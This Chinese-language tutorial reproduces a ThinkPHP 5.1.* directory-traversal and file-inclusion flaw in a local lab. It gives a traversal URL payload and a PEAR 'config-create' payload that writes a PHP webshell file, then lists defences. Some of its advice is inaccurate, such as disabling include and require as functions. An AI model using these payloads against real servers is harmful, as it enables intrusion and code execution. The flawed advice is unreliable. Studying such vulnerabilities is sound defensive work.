2024最新Thinkphp5.1.0-Thinkphp5.1. *文件包含漏洞复现研究(适合小白!)
字数 1215 2025-08-22 18:37:27

ThinkPHP 5.1.* 文件包含漏洞(CVE-2024-29981)分析与复现指南

漏洞概述

本漏洞是ThinkPHP 5.1.*版本中存在的一个文件包含漏洞,允许攻击者通过精心构造的URL实现目录穿越和任意文件包含,可能导致远程代码执行。

环境搭建

所需工具

  • PHPStorm (用于代码审计和调试)
  • PHPStudy (用于搭建本地PHP环境)
  • Composer (用于安装ThinkPHP)

安装步骤

  1. 安装Composer

    composer install --ignore-platform-reqs
    
  2. 下载ThinkPHP 5.1.41

    composer create-project topthink/think=5.1.41 tp5.1.41 --prefer-dist
    
  3. 配置调试环境

    • 使用PHPStorm打开项目
    • 启动PHPStudy服务
    • 访问默认URL:http://localhost/tp5.1.41/public/

漏洞分析

路由机制

ThinkPHP的路由格式为:模块/控制器/方法,对应URL示例:

http://localhost/tp5.1.41/public/index.php?s=index/index/hello

关键代码路径

  1. 路由处理入口

    http://localhost/tp5.1.41/public/index.php?s=thinkphp5.1/fewOo/fewOo
    
  2. pathinfo()函数

    if (isset($_GET[$this->config['var_pathinfo']])) {
        $pathinfo = $_GET[$this->config['var_pathinfo']];
        unset($_GET[$this->config['var_pathinfo']]);
        unset($this->get[$this->config['var_pathinfo']]);
    }
    
    • $this->config['var_pathinfo']默认为s参数
    • 获取s参数值后销毁相关变量
  3. 路径处理

    • /被替换为|,例如thinkphp5.1/fewOo/fewOo变为thinkphp5.1|fewOo|fewOo
    • 最终生成dispatch对象:UrlDispatch
  4. 模块初始化

    if (!in_array($module, $this->rule->getConfig('deny_module_list')) && is_dir($this->app->getAppPath() . $module)) {
        $available = true;
    }
    
    • 关键漏洞点:通过目录穿越使$available = true

文件包含机制

  1. 配置文件加载
    foreach ($files as $file) {
        if ('.' . pathinfo($file, PATHINFO_EXTENSION) === $this->configExt) {
            $this->config->load($dir . $file, pathinfo($file, PATHINFO_FILENAME));
        }
    }
    
    • $this->configExt默认为.php
    • 直接包含PHP文件导致代码执行

漏洞复现

基本利用

  1. 在D盘创建目录:d:\thinkphp5.1,并放入1.php文件(内容为phpinfo()

  2. 访问Payload:

    http://localhost/tp5.1.41/public/index.php?s=thinkphp5.1/fewOo/fewOo
    

高级利用(PEAR利用)

  1. 安装PEAR

    • 下载pearweb_phars
    • 在PHP目录下创建pear文件夹
    • 执行:php go-pear.phar
  2. 利用PEAR写Webshell

    http://localhost/tp5.1.41/public/index.php?s=Extensions\php\php7.3.4nts\pear\pear\&+config-create+/<?=phpinfo();?>+1.php
    
    • 注意:浏览器会编码尖括号,建议使用Burp Suite
  3. 成功标志

    Successfully created default configuration file "D:\phpstudy\phpstudy_pro\WWW\tp5.1.41\public\1.php"
    

注意事项

  1. 环境限制

    • 该漏洞主要在Windows环境下有效
    • Linux环境下由于路径分隔符不同,较难利用
  2. PHP配置要求

    • 需要确保register_argc_argv设置为On
    • 可能需要修改php.ini配置
  3. 调试问题

    • 如果遇到Undefined index: argv错误,检查PHP配置

防御措施

  1. 升级到ThinkPHP最新版本
  2. 限制模块目录访问
  3. 禁用不必要的PHP函数(如includerequire等)
  4. 设置open_basedir限制文件访问范围

总结

该漏洞利用ThinkPHP 5.1.*版本的路由机制和文件包含功能,通过精心构造的路径实现目录穿越和任意文件包含。攻击者可以利用此漏洞读取敏感文件或执行任意代码,危害性较高。建议开发者及时升级框架版本并实施严格的安全配置。

ThinkPHP 5.1.* 文件包含漏洞(CVE-2024-29981)分析与复现指南 漏洞概述 本漏洞是ThinkPHP 5.1.* 版本中存在的一个文件包含漏洞,允许攻击者通过精心构造的URL实现目录穿越和任意文件包含,可能导致远程代码执行。 环境搭建 所需工具 PHPStorm (用于代码审计和调试) PHPStudy (用于搭建本地PHP环境) Composer (用于安装ThinkPHP) 安装步骤 安装Composer : 下载ThinkPHP 5.1.41 : 配置调试环境 : 使用PHPStorm打开项目 启动PHPStudy服务 访问默认URL: http://localhost/tp5.1.41/public/ 漏洞分析 路由机制 ThinkPHP的路由格式为: 模块/控制器/方法 ,对应URL示例: 关键代码路径 路由处理入口 : pathinfo()函数 : $this->config['var_pathinfo'] 默认为 s 参数 获取s参数值后销毁相关变量 路径处理 : / 被替换为 | ,例如 thinkphp5.1/fewOo/fewOo 变为 thinkphp5.1|fewOo|fewOo 最终生成dispatch对象: UrlDispatch 模块初始化 : 关键漏洞点:通过目录穿越使 $available = true 文件包含机制 配置文件加载 : $this->configExt 默认为 .php 直接包含PHP文件导致代码执行 漏洞复现 基本利用 在D盘创建目录: d:\thinkphp5.1 ,并放入 1.php 文件(内容为 phpinfo() ) 访问Payload: 高级利用(PEAR利用) 安装PEAR : 下载pearweb_ phars 在PHP目录下创建pear文件夹 执行: php go-pear.phar 利用PEAR写Webshell : 注意:浏览器会编码尖括号,建议使用Burp Suite 成功标志 : 注意事项 环境限制 : 该漏洞主要在Windows环境下有效 Linux环境下由于路径分隔符不同,较难利用 PHP配置要求 : 需要确保 register_argc_argv 设置为On 可能需要修改php.ini配置 调试问题 : 如果遇到 Undefined index: argv 错误,检查PHP配置 防御措施 升级到ThinkPHP最新版本 限制模块目录访问 禁用不必要的PHP函数(如 include 、 require 等) 设置 open_basedir 限制文件访问范围 总结 该漏洞利用ThinkPHP 5.1.* 版本的路由机制和文件包含功能,通过精心构造的路径实现目录穿越和任意文件包含。攻击者可以利用此漏洞读取敏感文件或执行任意代码,危害性较高。建议开发者及时升级框架版本并实施严格的安全配置。